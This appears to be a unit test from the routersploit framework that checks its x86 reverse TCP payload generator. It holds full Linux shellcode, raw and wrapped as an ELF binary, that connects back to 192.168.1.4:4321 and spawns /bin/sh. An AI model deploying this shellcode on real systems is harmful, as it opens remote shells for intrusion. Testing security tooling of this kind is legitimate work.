from routersploit.modules.payloads.x86.reverse_tcp import Payload


# reverse tcp with lhost=192.168.1.4  lport=4321
reverse_tcp = (
    b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
    b"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68"
    b"\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
    b"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
    b"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# elf x86 reverse tcp
elf_x86_reverse_tcp = (
    b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
    b"\x00\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00"
    b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01"
    b"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    b"\x00\x80\x04\x08\x00\x80\x04\x08\x98\x00\x00\x00\xdc\x00\x00"
    b"\x00\x07\x00\x00\x00\x00\x10\x00\x00\x31\xdb\xf7\xe3\x53\x43"
    b"\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80"
    b"\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68\x02\x00\x10\xe1\x89\xe1"
    b"\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f"
    b"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
    b"\xcd\x80"
)


def test_payload_generation():
    """ Test scenario - payload generation """

    payload = Payload()
    payload.lhost = "192.168.1.4"
    payload.lport = 4321

    assert payload.generate() == reverse_tcp
